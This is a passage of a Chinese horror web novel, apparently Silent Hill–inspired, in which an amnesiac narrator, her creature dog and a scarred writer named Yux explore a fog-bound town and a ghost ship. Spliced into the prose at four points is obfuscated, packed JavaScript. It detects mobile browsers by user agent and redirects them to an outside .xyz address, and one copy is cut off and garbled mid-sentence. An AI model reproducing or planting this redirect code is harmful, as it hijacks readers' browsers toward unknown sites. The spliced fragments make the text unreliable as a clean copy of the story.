发完火后,我很快冷静下来。有些不对,小狗确实身上带着难以褪去的野性,但不至于伤人,城市里人来人往,相当于自助餐每天在面前唱歌跳舞。在那样的环境里它都能忍下来,现在怎么可能连这点诱惑都受不住? 我忍着恶心再次观察。尸体除了肚皮上的大洞以外没有别的伤口,就连脆弱的脖颈也完好无笋,四周也没有打斗的痕迹。 再看看他的脸,瞳孔放大,脸浮肿且白到发青,口鼻的部位有水渗出的痕迹。 他是被淹死的。 我恍然大悟,十有八九是我和无脸人被三角头追杀的时候,他在找寻属于自己的出口时被什么东西拖进海里,或者被赶入海中淹死的。 竟然是这样的死法,哪怕他是被怪物杀︱死我都不会这样惋惜。我双手合十,学着以前的老头子病友为死者做祷告。精神病院的寂静派老头子说过,这样一来死者就能上天堂。 无论他生前如何,我对死者都有些敬畏之心的。 但他不是好人啊,还有可能背负着人命,不是好人也能上天堂吗?我想了想还是决定走个流程,能不能上得了天堂又不是我来决定,说不准天堂之路就像一个自动质检机,合格的通过,不合格的单独拎出来丢下地狱。 当然,我是希望他下地狱的,谁叫他抢我东西。 小狗感觉到我的态度变化,哼哼唧唧地凑到我身边来,想像以前那样用脑袋蹭我,但估计是意识到自己满头满脸的血,要是真那么做肯定会被一脚踢飞,于是换了干净的爪子扒拉我。 “抱歉。”我满怀歉意地半蹲下来:“吃饱了吗?” 在我看来,人死了就是死了,死了以后还派不上用场真是太可惜了。能给小狗饱餐一顿,那还挺好,反正在这鬼地方也没人会帮他举行葬礼,他只能曝尸荒野,最后还不是便宜了虫子和流浪小动物。 小狗:“噫!” 我温和地笑了笑,“吃饱了就行。” . 自我遇见博格纳的时候,他就两手空空,所以我从他身上得不到任何东西,物资什么的也别谈了。 越往小镇深处走,大雾就越浓烈。 我发现了一个类似于便利店的地方,从外面能看到里面陈列着的商品。我原本觉得便利店会出现在这里很出戏,毕竟整座小镇简直就是上个世纪的画风,就连路边的电话亭都是最老式的。 电话亭里的电话机也是用不了的,我尝试过,结果就是浪费了几枚硬币。 钱这些东西我都是贴身存放,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988173|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在包里。我摸了摸口袋内侧,里面的纸币材质偏向防水塑料,所以哪怕我两次掉进海里湿了个遍,纸币仍然是完好无损的。 带来的物资没有了,我需要临时储存一些。我走进来便利店。 店里面没开灯的,虽然面向街上的玻璃墙透光,但置物架遮挡阳光,令某些角落里黑乎乎的什么也看不见。 我率先走向饮品去,置物架上零零散散放了几个塑料瓶,基本上都是可乐和在普通不过的矿泉水。我拿起一瓶临近的矿泉水看了下,标签上的信息和印象中相差无几,但生产日期是几年前的。 水不会过期,问题是装水用的瓶子一旦超过时限就会析出有毒物质。 毒死总比渴死好,更何况说不定毒不死呢。 我拧开瓶盖先灌了一大口,然后抱着几水走到柜台前,另一边小狗叼着食物走了过来。大多事易于储存的饼干,还有…… 猫罐头? 小狗龇牙咧嘴笑嘻嘻。 “这是猫罐头,你又不是猫,吃它干什么?”我说。 小狗急了:“噫!噫噫噫!” “好吧。”我叹了口气,反正都是肉做的,猫罐头也一样。 我算了一下费用,数了几张对应的钞票放到空无一人的柜台上。 小狗见我付完钱,开始原地跳跃,意图显而易见。 “等会,别急。”我小刀撬开罐头,放到地上小狗就冲了上来一顿风卷残云,罐头瞬间少了一大半,还有一小半因为罐头构造缘故全都堆积在难以吃到的角落里,小狗只能伸长舌头寻宝似的舔食。 我靠在柜台边缘,拆开一带饼干就着水食用。我直到现在都没有吃多少东西,胃里空荡荡的烧的慌,以至于刚才喝水的时候,水顺着长时间未接触食物的食道流淌下去时,感受到一种奇怪的胀痛和痉挛差不多。 这时候小狗也吃的差不多,巴掌大的罐头被舔地干干净净,里面的金属面几乎能当镜子。 我拍了拍小狗的脑袋,“走吧……” 灯突然亮了,我的眼睛吧不适应突如其来的光亮,反射性地想要闭上,但潜意识里告诉自己不能在无法确定绝对安全的地方闭眼,我硬是强撑着把眼睛眯出一条缝来。 “什么人?”听声音似乎是个男人,脚步声逐渐靠近,“你……啊——!” 眼前恢复清晰,留着短发的男人惊恐地抱着置物架,不停的用放在上面的商品朝小狗砸。 他砸地还挺准,一次都没砸中,围着小狗成了个圈。 我连忙说:“别担心它是我宠物,不会伤人的。” 这时候我才注意到小狗脑袋上啃食博格纳尸体时留下的血没有完全清理干净,看上去就像是嗜血的怪物。我连忙招呼小狗到我身后,小狗抬头朝我眨了眨狗狗似地大黑眼睛,听话照做。 我将小狗挡在身体后面,男人这才从置物架后面一步一顿地的走出来。当看到他脸的那一刻,我惊讶道:“是你!尤克斯·伊利亚特。” 20. 第 20 章 尤克斯·伊利亚特。如果说他是一个美男子,勿毋质疑,如果说他是一个丑八怪,也勿毋质疑。 因为一场火灾,他的脸上留下了触目惊心的烧伤疤痕。半张脸惊为天人,半张脸宛若地狱修罗。曾有记者询问过他是否为自己毁容而感到悲伤,他看着镜头,一字一顿道: “东方凤凰涅槃的传说家喻户晓,而我就像传说中那般在这场火灾中获得了新生。” 火灾是一个转折点,他因为火灾被发现于地下室并得以重见天日,也因为火灾终于摆脱了数年折磨着自己的禽兽养父。他的养父死于滔天大火,与地狱中惩治囚徒的火刑如出一辙。 他听到我喊出他的名字时先是吃惊地一愣,随后轻轻触碰自己的脸喃喃道:“也对,不认识我才叫不正常。” “你是误入这里的吗?”他打量了我一番后问道。 写作材料就在眼前,我的满脑子都是那份文章该如何动笔,自然而然地忽视了他的问题。“抱歉,我刚才没听清。”我满怀歉意地双手合十笑道:“我还是第一次这么近距离的接触名人呢,实在太紧张了。” 尤克斯重复:“……你为什么会在这里?” 就算他是我珍贵的写作材料对象,我仍然留了个心眼,“我生病了,听说寂静岭可以医治任何疾病,所以……” 是啊,尤克斯为什么会在这里?博格纳说会来到寂静岭的人都是背着人命的罪犯或者陷入迷途的精神病患者。尤克斯的话两者都不像,前者想都不要想,如果他都不是一个正义者的话那么这个世界上的超级英雄都不黑白分明,至于后者,从他的书里就能看出他是一个逻辑清晰且精神强大的人。 我陷入了沉思,“你呢,你又为什么而来?” “窄门。”比起我的藏藏掖掖,他显得光明正大,“我为它而来,就这么简单。” 我简直不可思议,“你不是无信仰者吗?你开始信教了?”他明明在大众面前多次表过态,自己不相信神明在上,只相信自己的心灵和意志。我格外赞同,毕竟我也是一个半无信仰者,虽然打心里是不信神的,但有些时候希望神明存在,这样一来世上就有了绝对且正确的审判方。 不过现在我的想法有些改观了,在红门后我和无脸人被三角头追杀时命都快没了,都没有见神明出现过。明明我挺虔诚的,不过是只在愿意相信的时候相信祂而已,也许……神从一开始就是不存在的,又或者对人间所发生的一切都不感兴趣,窄门只是祂大发慈悲创造出来的一条帮助人类寻求解脱的捷径,这样人类就不会时不时去烦祂了。 话说回来,也不知道无脸人怎么样了,他有没有从三角头的魔掌下逃脱? 我心中怅然,真希望能再见到他…… 不对不对,再见他岂不是又要去红门里面了,那可千万不要。我在心里向自己抽了几个大嘴巴。 “当然没有。”他皱着眉否认。 “那为什么……” “很简单,就像我刚才说的那样,我只是单纯的为了窄门而已。据我了解,寂静岭存在悠久,但寂静之地的窄门这个名字并非神教意义上的窄门,应该是借鉴的。不过大部分人喜欢将两者混为一谈。”尤克斯说:“寂静岭这个地方还挺有名,自了解以后,我就明白了有些困扰许久的难题必须来到这里才能得到答案。” 我想问什么难题竟然能让你感到困扰,多了解点信息对我写文章有好处,但转念一想这属于个人隐私,憋住好奇心没有问出口。 他将东西放在柜台上,准备腾出手拆包装,正好看到了我放在上面的钱币。“你居然给钱了?”他将那些钱拿起来,一张张叠好放递给我,“在这里没有付款的必要。” “但……”我犹豫,没有动。 尤克斯说:“这里已经荒废很久,店里也没有负责人,你看环境和商品的生产日期就能知道。就算你付了钱,也会被其他来搜寻食物的人拿走。” 听他这么说,我接过钱放回口袋里。 “你好像很了解这里。”我旁敲侧击。 “我来寂静岭之前做过大量功课。” 他吃东西速度很快,没一会手里的包装袋就空了,“这不是你该来的地方,尽快离开吧。生病就该去医院,别听那些人的胡言乱语,只会害了你。” 尤克斯越过我推开便利店的门,雾气随着风飘进来一些,“窄门确实是捷径,但你还没有到必须走捷近的那一步。你还很小,未来有无限可能。” “你和我们不是一路人。” 尤克斯走了,店内空荡荡的只剩下我和小狗。我站在原地看着因为惯性前后晃动的玻璃门发呆。“噫?”小狗爪子碰了碰我的腿。 为什么每个人都在劝我离开。死去的博格纳是,怪物无脸人是,就连尤克斯也是。我要是离开了,那记忆怎么办,我总不能带着残缺的记忆过一辈子。 残缺是悲哀的,我不完整。 我又在便利店里搜刮好一阵,终于在角落里发现了一小片卖帆布包装袋的地方,价格便宜可惜质量不太好,摸上去薄薄一层。但有总比没有好,我把怀里抱着的和小狗嘴里叼着的东西一股脑子全扔了进去,正好能装下。 离开便利店时再次路过了前台,我无意间瞥到布满厚厚一层灰尘的台面,不自觉地放慢脚步。然后停了下来,从口袋掏出钱币点了几张放上去。 . 我也明白自己那么做是为什么,也许是为了可笑的自尊心。 就在我以为与尤克斯只是偶然的一个碰面之后不会再有交集,正为自己没有多和他聊上几句为我的文章提供思路的时候,我再次遇见了他。 那是在一个极为狭窄的过道里,仅仅是通行就极为困难,只能侧着身子走,谁能想到里面竟然还藏着一个裹尸袋。 如果仅仅是裹尸袋还不足为惧,可袋子拉链开了,里面的爬出来一只四脚着地企图咬我的腐烂尸体。 我想掏出小刀对抗,但这里太狭窄了,卡在伸手进口袋拿小刀这一步就卡住了。眼看着那张散发着腐烂气息的嘴巴越来越近,我绝望地闭上了眼睛。 但想象当中的痛感没有到来,睁开眼睛,怪物的脑袋上被钉入一根长棍,棍子尖锐头没入旁边的墙壁。 “你怎么跑那里面去了?”头顶上方只有一片极小的区域能够看到过道外的空间,尤克斯冒了出来。 “是你!” 欣喜之余我又感到惊讶,“你能看到那个腐烂怪?!” “腐烂……?”他疑惑的瞥了一眼怪物,“那不是……算了,你快点上来吧。” 他想我伸出手,我一把抓住,借力爬了出去。 尤克斯问:“你去那里面干什么?” “我在找路。”我说。自从我进了一座公寓以后,所遇到的一切就变得异常起来,但比进红门好不少,小狗也在身边…… 我注意到小狗这个警惕地性格竟然在面对尤克斯时特别放松甚至对着他摇尾巴。这让我惊讶。难道…… “就是它把我喊来的,你有一个好宠物。”尤克斯不太喜欢小狗,哪怕夸赞的时候都不愿意面对它,表情也是僵着的。我觉得最大原因可能是长相问题,它有着肉食者的一切特征,却又和人类有着形似的部分,令人毛骨悚然。 接下来我们就不约而同的一起走了。 尤克斯对这里稍微熟悉一些,他走在前,我走在后。“自从进了这里后,好像就出不去了。”我说,“那些门都不约而同的反锁了。” 其实可以暴力破开的,可没有趁手的武器。如果撬棍在的话…… 我的撬棍,我该从哪里再去捡一把那样趁手的撬棍。 “确实诡异,如果要出去的话,恐怕得走地下室。”他手里有一张不知道从哪里找来的地图。地图很简陋,只有几根线条组成,我半天也没研究出个所以然来,不知道他是怎么看懂的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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难道是抵达另一个世界的方式改变了?那可太糟糕了,连那么显眼的红门我都防备不了,更何况来了一个新的。 尤克斯手中的地图我确实看不懂,但仅限于在不了解地图所描述的环境的情况下,我的脑子很好,看过一次的东西会深深刻印在脑海里。所以当我踏出电梯,看到周围景色的那一刻,我非常确定这里就是地图上显示的,有着可以开启地下室门的最后一个楼层。 这个楼层的装修全都一模一样,放眼望去全是灰褐色的水泥地板,以及画满涂鸦的白色墙面。我差点迷路,看着眼前的几道门根本分不清那个是来时的,哪个是没走过的,只能暂时停下来观察。 可很快我就有闻到了那股味道,回头一看,海水蔓延了过来。 我管不了那么多,随便挑了一扇推开跑进去。 尤克斯不见,我不知道他去了哪里。但突然变化的油画以及其中涌出的海水和古怪章鱼,我心中有了一个猜想,他不会是被拖进画里面去了吧? 去画里面这种事怎么可能发生,一个是三维世界另一个是二维世界,两者甚至不互通。但发生的场所在寂静岭,那就不奇怪了。这鬼地方发生什么都不会令人怀疑。 感谢万分,我时好的时坏的运气在此刻是前者,我看到了地图上所表明的通往地下室的落地门。 落地门表面有一道类似于锁的东西,是几根底盘可转动的铁链交错搭在一起,当想要打开的时候,门就会被连接在地面上的铁链拴住。我观察了一下,发现其实不用钥匙,铁链与铁链之间相互交缠,成为了天然的锁扣。 我一根根铁链进行尝试,终于发现了一根不同寻常,松动的铁链,可以直接从中抽出来,紧接着是第二根,第三根……好不容易将所有铁链整理完毕,我感觉鞋底传来湿意,不知道什么时候海水蔓延到这里,把我的鞋子都弄湿了。 回头一看,恶心的章鱼脚正像虫子一样爬来。 我不敢停留,使出吃奶的力气拉起落地门,钻了进去。 21. 第 21 章 哐当一声,我掉在实木地板上,地上不知道堆放着什么东西,硌的我背疼。我捂着腰在黑漆漆中摸索,结果手碰到一个表面冰凉且圆溜溜的东西,我心惊胆战地抽回手,然后又怀着好奇心再次触碰。 是一只空啤酒瓶,还挺沉的,感觉打人挺疼,我拿在手里当武器。 站起身来我在黑暗中摸索着找出路,结果脚下又踩到个圆溜溜的东西,摔了个屁股蹲。这里到处都是空的啤酒瓶。 天呐,到底是谁这么能喝。 为了避免再次踩到瓶子摔个狗吃屎,我干脆把脚贴在地面上,一边前后左右踢,一边挪着走。终于我摸到了类似于墙壁的平坦坚硬触感,我贴着墙继续摸索,找到了门。 我打开门,海风扑面而来,带着一丝算不上刺眼的亮光。之所以不刺眼是因为太微弱了,能看清路已经感恩戴德。 门外是甲板,没错,属于船的甲板。与记忆中船只构造完全吻合的场景以及不远处绑着橙黄色的铁栏杆,全在用无声的语言告知一个事实—— 我在一艘船上,并且根据船身的摇晃程度来看,我还在海上。 前几分钟,我还处在坐落于平坦大陆上的一座普通的公寓,只是在海水的威逼以及章鱼脚追杀下迫不得已进入地下室避嫌,结果就来到了一片汪洋大海中。我觉得我得捋捋,虽然经历这么多事以后承受能力变得极高,但我还是无法立刻接受眼前的事实。 因为前几次我进入红门,景象不是一瞬间变化的,比如游乐园,再比如酒店,总归有那么一点相似之处。 甲班看上去很宽阔,灯光自上而下照亮了那些竖型的木板条,我的影子被拉得很长,阴影脑袋的部分正好站在栏杆上,我产生一种错觉,再往前一步,影子就会掉入海里,连着我的人……我接连后退直到背部贴上坚硬的触感才停下。 我抬头往上看,瞭望台旁边有一个极亮的东西,貌似是灯光来源。光并不是特别亮的那种,但在黑暗里非常闪耀。我被刺地眯了下眼睛,再睁开时它正随着船身的晃荡左右摇摆。 一瞬间,画框内的景象与眼前重合,我瞪大双眼。 所以,现在的我在画里? . 当一幅作品被倾注心血的时候,那么就拥有了灵魂。但有谁可以告诉我为什么灵魂是一根根触手以及一个劲的往外吐海水。 好像遇到了什么巨浪,船身猛地晃动,海水倒灌很快就淋湿了我的裤腿。 我站不稳决定还是回到室内。我顺着涂有防水漆料的墙面一阵摸索,从这头挪到那头,没有发现任何进入的门却发现了被海水腐蚀生锈的楼梯,我顺着楼梯往上爬,终于在最顶层发现了一扇掉漆的小门。 我推门而入,发现这里是驾驶室。 十分老旧且复古的驾驶室,和源自中世纪的百年老帆船差不多,室内没有天花板,因为高度问题离后方的瞭望台以及那盏大灯近了不少,整个驾驶室都沐浴在光亮之中任何角落都一览无余。 最先注意到的就是位于最前端的转向舵,前身木制的褐色,却被桐油刷的很亮,还镶着几颗宝石做装饰,精美程度根本不是这个破旧生锈的驾驶室能配得上的。 然后是驾驶位,我这才发现独属于船长的驾驶椅上坐着一个人。椅背不算高,他的头路无处安放,但好巧不巧能够通过微微偏头的姿势观察我,不会有任何遗漏。 “不好意思,我……”我正想为自己踏入这里感到抱歉,毕竟这里是人家的地盘,突然来了个不明不白的家伙肯定需要警惕,但转念一想这是什么鬼地方?会有正常人吗? 我转身就跑,结果没想到驾驶室的门竟然被反锁了! 虽然驾驶室上空没有天花板,但四周墙壁的高度单凭我自己根本爬不出去。 船长朝我招了招手……我在心里称呼他为船长,不过他的职务究竟是不是船长我也不清楚。 我站在原地,没有动。他那只手垂落下去,然后又抬起,两指间捏着一把钥匙。 钥匙!铜色的钥匙,看上去和锁孔的形状匹配。 我吞咽了一下唾沫,怀着忐忑的心情一点点挪了过去,就在接近的那一刻我快速伸手想抢走钥匙,谁料到船长速度比我还快,就在我伸手的一刹那,他把钥匙给收回去了。 阴险,实在阴险。 我在心里腹诽,顺便打量起面前的船长。我发现他的浑身上下包括脸、手臂以及其他所有外露的皮肤都包裹着白色绷带,连一双眼睛都没有露出来,就像木乃伊。 被裹着绷带的脸鼻梁高挺,眼窝凹陷。绷带之下的脸应该长得不错,眼窝深邃,当然也可能是眼珠子被挖了。 他又朝我勾了勾手指,让我过去。我不太情愿,但为了钥匙,一步分成三步走,脚底心在地板上蹭了好久才走到他面前。 但让我过去以后他又不说话,纳闷的好一会才发现他在用手指在驾驶椅的扶手上写写画画,从勾勒的形状看似乎是在写字。 他写了一遍又一遍,直到第四遍的时候,我才反应过来,从挂在臂弯上的袋子里掏出便签纸和笔。这些都是我从便利店里取的,虽然我也不知道拿这些有什么用,既不能吃也不能喝更不能用来做武器。 船长很自然的接过纸笔开始书写,他的字很漂亮而且娟秀,像一朵朵盛开的…… 和无脸人的字迹一模一样。 宛如一道闪电直劈而下,命中我的头顶贯穿我的身体,全身仿佛电流穿过,舌根指尖发麻,连呼吸都忘记了。在意识到这点的时候我早就憋了好久的气,胸腔里鼓鼓囊囊好像有什么东西要突破而出。 我深深地吐了一口气,又吸了一口气,肺部充盈。 船长将写好的便签纸递给我: 「你是如何到来这里的?」 “我不知道。”我的声音还在微微发颤,“钻进了一扇落地窗后,就来这里了。” [一个人?] “不,应该还有一位同行人,但我还没有找到他。” 我不想在这些无关紧要的方面多费口舌,只关注最重要的地方。我提醒他:“钥匙。” 船长递出钥匙,我接过:“谢谢。”话音刚落我就迫不及待地离开。 他没有任何阻拦的意思,但我感觉到他的目光一直落在我的背后,就像是一根修长而又尖锐的针,令我浑身不适。 真奇怪,明明他连眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988175|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有。 这个感觉直到破旧的木门被关上是才终于消失。 . 这艘船是类似于中世纪的帆船,虽然甲板看上去宽阔,但实际上船只并不大,和现代的轮船相比简直是小巫见大巫。我不敢靠近船边,主要是那望不见尽头的黑暗令我心里发毛,总感觉有什么会趁我不在意从黑暗中冲出拽着我的手脚把我拖进去。 我幻想出来的对象是章鱼脚,那种滑腻腻,吸盘吸附在皮肤表面,像婴儿的嘴唇寻找到食物来源时那样牢牢不放。 在甲板上又绕了一会后,我总算找到了一间除驾驶室之外的外舱,但不是我到来这个世界时候呆的那间满是啤酒瓶的屋子。打开门后是一个向下的楼梯,台阶尽头一片黑暗,幸好在门口的位置挂着一盏煤油灯。 我将煤油灯取下抓在手里,下了台阶。 这里应该是船只腹部的位置,是我猜的。在精神病院里的时候,护士们有时候会发给我们一些拼图,或者可以拼接的模型用来打发时间,顺便锻炼大脑。我得到的是一个船只模型,那是一艘古典帆船,虽然拼接的过程痛苦万分,但完成以后真的漂亮极了。 船身是由木色与黑色构成,船帆因为故意做旧的,白色中透着一点灰。桅杆的高度比船身还要长,米色的船帆挂在上面,放在有风的地方时,风会把船帆吹的向后鼓起,就像船只真的在海上一样。 可惜帆船模型早就没了,原因……不是什么美好的回忆,如果可以的话,我希望忘掉,如果能够把所有糟糕的事情都忘掉,那我希望这艘帆船模型也在列队中。因为它就像一根引线,只要存在那么痛苦的回忆也终有被引燃在我脑袋中爆炸的那一天。 船舱里比较宽阔,主要的原因我猜是因为没什么东西堆放在里面,只有一些杂物和食物。至于为什么作为物资缺乏的我看到食物不两眼发光,因为我根本不敢吃。 摆放在角落的箩筐里有很多苹果,又红又大,像是巫婆诱骗白雪公主食用的那种。我拿起看了看,苹果表面光滑无比,像是模型,但鼻子凑近时能闻到果香味,是真的。箩筐是由藤条编织而成,很明显年岁已久,藤条已经随着时间流逝自然老化,但里面的苹果却这么诱人可口。很奇怪。 嘎吱嘎吱…… 有声音!我心里惊慌,端着煤油灯到处寻找,结果发现声音来源在放置苹果的箩筐边—— 半张脸毁容的尤克斯蹲坐在角落里,手里抓住一个苹果正在啃。煤油灯的光照到他的时候,他正巧用完好的侧脸对着我,以至于等他的脸完全转过来展露出另外半张时,我的心理活动就像在坐跳楼机一样。 多么可惜。 “原来是你。”我被吓了个半死,总算松了口气。 我提着灯走过去,视线落在他手里的苹果上,眉头一皱,“连这种来历不明的东西也敢吃。” “就是普通的苹果,而且很酸,和外表完全不一样。”他从框里又拿出来一个丢给我。 我没接,苹果砰的一声砸到了身后的柜子角上,掉在地上滚了好几圈,没想到经历了如此磕磕碰碰表面仍然完好无损甚至更亮。 更古怪了。要我吃这东西?才不要。 22. 第 22 章 “你在电梯里为什么不见了?”我找了个地方坐下,但这里没有适合当椅子的东西,我就拿了一个箩筐倒扣过来,屁股坐在底部。箩筐上的藤条表面有毛刺,幸好我穿的是长裤,一点也感觉不到扎疼。 “不知道。”他说:“眨眼功夫就到这艘船上了。” 苹果吃完了,果核突然自己从他的手里跳了出来—— 在掉地后长出脚,像蜘蛛一样八脚着地跑了。 我:“……” 尤克斯捂着脖子:“……呕。” 我:“都让你别乱吃东西。” 尤克斯面无表情地呕完以后仍不知悔改,伸手就去拿另一个框里装着的酒瓶。我惊恐:“你还吃?!” 他拔开瓶塞子往嘴里灌了一口,“放心吧,这里的东西虽然看上去有问题,实际上没什么事。” “我来这种类似的世界很多次了。”他继续灌酒。 不知道是他酒量竟然还是瓶子里装得根本不是酒而是水,尤克斯干完了整整一瓶都面不改色,甚至眼睛里面一点醉意都没有。我问:“这是……?” “酒。” 好吧,他的酒量真是令人赞叹。 尤克斯冷静非常,按理来说可以归结为他的心态好以及胆子大。可我总觉得不对劲,但没有细想下去,只是问:“你找到回去的办法了吗?” 他和我一样不是第一次来到这种世界,和已死的博格纳不同,他肯定很好沟通。顺便一提,我认为他容易沟通不仅仅是因为他来到这种世界多次,而是因为他不是一个普通人。 尤克斯天才一称众所周知。他自上完小学后就被恶魔养父囚禁在地下室里不见天日,所有的知识全来自于地下室里放置着的一箱书。仅凭自学就能写出那样流畅且振发人心的作品,简直恐怖非常。 “没有。”他说:“一共两层船舱我都逛遍了,第一层就是我们现在所站的地方,除了杂物就是杂物,第二层类似于船员宿舍,很无趣的地方。都什么值得留意的。” 我点了点头: “我在上面也……” 说到这我顿了顿,“你没去上面看看吗?” 他原本双手环胸靠坐在箩筐以及墙的夹缝中间,听到这话突然直起身子,“你是从那来的?” “对……” 他表现出一副不可置信的表情,“你是如何……不对,你怎么一点事没有?” 尤克斯的突然口中絮絮叨叨起来,像是陷入了什么不堪的回忆,眼睛逐渐失去光泽,像是蒙上了一层白雾。 “尤克斯?”我拍了拍他的肩膀。 他突然站了起来,我的手放在他的身上,结果他这么一挥,我差点飞出去。 “抱歉。”他深吸一口气,懊恼地捂着自己的脸。 他的状态我很熟悉,明显是那种精神异常患者犯病时候的状态。我不是在骂他神经病,我说的是实话,作为一个在精神病院里呆了整整四年的患者,我再清楚不过了。 我决定暂时离开,给他一点个人空间。我前脚刚准备走,后脚他的声音就追了上来,“你去哪?” “我去上面看看。”我说,“驾驶室了有个人……应该算不上人,但还挺友好的我想再去问问他关于这艘船的事情。” 之前的慌然离开有点不太礼貌,船长给我的钥匙是真的,并没有骗我,而且也没有做什么伤害我的事情。 当然我不会就此放下警惕。 “我跟你一起去。”他扶着船舱墙壁站了起来。 . 尤克斯虽然嘴上说着和我一起去,但是我能看出来他在勉强。证据就是他踏上通往甲班的楼梯事身体充满着抗拒,看向上方的那扇门的眼神满是恐惧,好像一旦门被打开就会有什么可怕的东西冲进来将他撕个粉碎。 “你还好吗。”我是走在前面的。 他说:“还……好……” 我不太相信,但寻找出路更重要,于是我打开了门。 门外还是和我印象中一样,船外漆黑如墨,空无一物,空中悬挂着的灯就像鮟鱇鱼脑袋上的小灯笼。 “啊!别过来!”身后传来一声惨叫。 我被这一声惨叫吓得脚底一个趔趄,身体后倾,向楼梯下方倒。在掉下去的一瞬间,我看见尤克斯满脸都是恐惧,嘴巴还维持着尖叫时的张开大小。 鬼叫什么?! 我狠狠地摔了下去,身子与每一级台阶都进行了亲密接触,等待到达期盼已久的平面时,我早已摔得神志不清,大脑混沌。 尽管如此,我还是强撑着意识爬起来。 煤油灯的质量很好,和我一样从那么高的地方摔下来,我快掉了半条命,它完好无损亮度南店不减。 那扇门已经关上了,尤纳斯以着防御的姿势用背部抵门,煤油灯的光自下而上照亮了他惊恐的面容。 “不行……”他的双腿发软几乎要跪下,“全是……全是……” . 船舱二层。 我的脑袋上裹了一层厚厚的纱布。第二层虽然很无趣,但好歹有用,不仅可以休息还有不少后援用品。我头上的纱布和散落在桌子上的药膏就是尤克斯从这里搜刮出来的。 “好了。”尤克斯在给纱布打了个结,算是包扎完成。 我捂着沉甸甸,疼得似针扎似的脑袋,靠坐在硬邦邦地椅背上。尤克斯将用剩的纱布和药膏放回医疗箱里,我半阖着眼睛看他。 “抱歉。”尤克斯垂着脑袋,一缕发丝遮住左脸从太阳穴一直蔓延到鼻梁的烧伤疤痕。和报纸上叙述的一样,玻璃质感的金刚石,看似脆弱但谁也破坏不了。 我的文章是专门讲述他的,因此关于他的大部分事情我都一清二楚,包括性格、经历……所以我更加好奇,到底什么令他恐惧成那样。 “你看到了什么?”我问。 他收拾的动作顿了顿,“一些……可怕的东西。” 我半讽刺:“但我什么都没有看见,倒是因为你,我受了伤。” “你本来就看不到,那是只属于我的噩梦。” 他说:“就像我看不到你的噩梦一样。” 我很少做梦。 不知道在失忆以前的我是怎么样的,但在有限的记忆里,我几乎不做梦,就算做了,梦境中的一切都是黑色的,一望无际的黑暗,就像宇宙的边境。 梦境的构成执意就是记忆,人在潜意识里会吧过往的记忆整合并在睡梦中呈现。这些记忆有的是大脑里最深刻,也有的是埋藏于最深处的。 我忘的太干净了,甚至这么多年都没能从梦境里找到一丝一毫关于过去的脚印。 我不太能理解他说的话,什么看不……我忽然回想起博格纳看不到无脸人以及三角头,在他的眼里,这两个不像人的诡异家伙和空气一样不存在。 “这就是寂静岭的特别之处。”他向我解释,“寂静岭里分为三个世界,姑且称之为正常世界、表世界和里世界。” “第一个很好理解,后两个比较复杂。表世界是进入里世界的必经之路,也是一个警醒,一旦从表世界的缝隙中坠入里世界,那这辈子都没有逃脱的可能。我们现在所处的就是里世界。里世界相当于一面镜子,你的心理是什么样,它就是什么样。” “它会想法设法杀死你。” 我觉得奇怪:“既然那是我心理世界的镜子……那为什么还会想要杀死我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988176|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “里世界的怪物分为两种,一种是记忆,另一种是你自己。”尤克斯说:“别以为你自己是什么好人,有时候你自己也想杀了自己。人都有自毁倾向,只是你没发现而已。” 放屁。我很了解自己有多想活,否则不会再掉入那么多讨厌的里世界还挣扎着找出路。 “听上去很可怕。”但我还是表现出毛骨悚然的样子,”我在网上查过寂静岭的信息,但从没有看到过这种说法。” “因为经历过的人很少存在全身而退的。”船身忽然摇晃了一下,桌上一个杯子朝桌沿倾斜滑过去,尤克斯眼疾手快把它拿起来,但还是不可避免地撒了一些酒出来。没错,杯子里装的是酒,尤克斯还在喝酒,他心怎么这么大。 以及,我才知道他是个酒鬼。真是个好素材,但我不能写进文章里面,因为亲爱的编辑会骂死我。 尤克斯擦了擦沾在手上的液体,“我在进这里之前查了将近一年,才找到一个从寂静岭里完好无损走出来的,认知和精神都非常正常,沟通有不成问题,谢天谢地。” 他喝干了杯子里的酒液,然后提起放在地上的瓶子准备续上,结果瓶子早在刚才船身摇晃的时候倒了,里面的酒洒了个干净,只剩几滴。他深深地叹了一口气。 “少喝点吧。”我提醒道。 